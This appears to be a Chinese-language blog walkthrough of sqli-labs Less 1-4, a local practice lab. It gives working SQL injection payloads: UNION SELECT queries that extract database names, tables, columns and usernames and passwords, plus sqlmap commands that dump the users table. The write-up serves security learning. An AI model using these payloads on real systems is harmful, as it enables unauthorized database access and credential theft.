1. 程式人生 > 實用技巧 >sqli-labs通關Less 1-4

sqli-labs通關Less 1-4

sqli-labs通關Less 1-4

實驗工具:phpstudy pro, Firefox
MySQL 5.7.26
Nginx 1.15.11
PHP 5.4.45
注意:sqli-labs-master配置正確的情況下,建立實驗資料庫出錯,可能是由於php版本造成,可試著更改其版本。

一. Less 1

  1. 判斷注入型別
    判斷語句:http://localhost/sql-lab/less-1/??id=1 , id=1’
    id=1 --+(%23) 字元是用來註釋sql後面的語句。
    根據頁面回顯可以確定less-1 存在字元型注入,
    id=1id=1'
  2. payload 爆破相關資訊
    1)order by 語句判斷表中資料多少列,先定義任意一固定值10,然後為5,2,3,可以判斷出此表有3列。
    語句:http://localhost/sql-lab/less-1/?id=1‘ order by 10
    id =1' order by 10 --+id=1' order by 3 --+
    2)修改id值,盲猜資料庫中不存在的id值,此處任意輸入值位905,判斷資料顯示點位,輸入4位,出錯,3位,回顯正常,說明有2個數據顯示點。
    語句:http://localhost/sql-lab/less-1/?id=905’ union select 1,2,3,4 --+
    id=905‘ union select 1,2,3,4 --+id = 905' union select 1,2,3 --+
    3)爆破資料庫名和使用者名稱
    Payload:
    http://localhost/sql-lab/less-1/?id=905’ union select 1,user(),database() --+
    id =905' union select 1,user(),database() --+
    4)爆破資料庫中存在的表
    Payload:
    http://localhost/sql-lab/less-1/?id=905’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ ),3 --+
    注意:MySQL自帶4個預設資料庫,information_schema,performance_schema,mysql,test。其中informance_schema
    儲存了MySQl服務所有資料庫的資訊。
    具體MySQL服務有多少個數據庫,各個資料庫有哪些表,各個表中的欄位是什麼資料型別,各個表中有哪些索引,各個資料庫要什麼許可權才能訪問。
    id=905' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 --+
    5)爆破資料表中列
    Payload:
    http://localhost/sql-lab/less-1/?id=905’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’),3 --+
    id=905' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),3 --+
    6)爆破賬號密碼資訊
    Payload:
    localhost/sql-lab/less-1/?id=905’
    union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 --+
    注意:concat_ws()函式就是方便我們的,避免在每一個欄位前加上分隔符。
    id=905‘ union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users), 3 --+
    以上,咯,資料庫相關資訊出來了。

二. Less 2

  1. 判斷注入型別
    判斷語句:
    http://localhost/sql-lab/less-2/?id=1 and 1=1
    http://localhost/sql-lab/less-2/?id=1 and 1=2
    第二條語句出錯,則說明是布林型注入
    id=1 and 1=1id=1 and 1=2
  2. payload 爆破相關資訊
    爆破方式同less 1

三. Less 3

  1. 判斷注入型別
    判斷語句:
    http://localhost/sql-lab/less-3/?id=1‘ --+
    http://localhost/sql-lab/less-3/?id=1‘) --+
    可以看出是 ‘)字元型注入
    id =1' --+id =1') --+
  2. payload 爆破相關資訊
    爆破方式同less 1

四. Less 4

  1. 判斷注入型別
    判斷語句:
    http://localhost/sql-lab/less-4/?id=1“
    可以看出是 " 字元型注入
    id=1"
  2. payload 爆破相關資訊
    爆破方式同less 1

最後,簡單粗暴的爆破方式當然是sqlmap啦,因為是本地實驗庫,知根知底,爆破也簡單些。
以less 1為例:
1) 檢查注入點:
python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1
2) 爆破所有資料庫:
python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 --dbs
3) 爆破當前資料庫資訊
python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 --current-db
4) 爆破指定資料庫所有表名
python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 -D security –tables
tables
5) 爆破指定表名中所有列
python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 -D security -T users –columns
columns
6) Dump打印表中指定列名欄位值
python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 -D security -T users -C id,username,password --dump
dump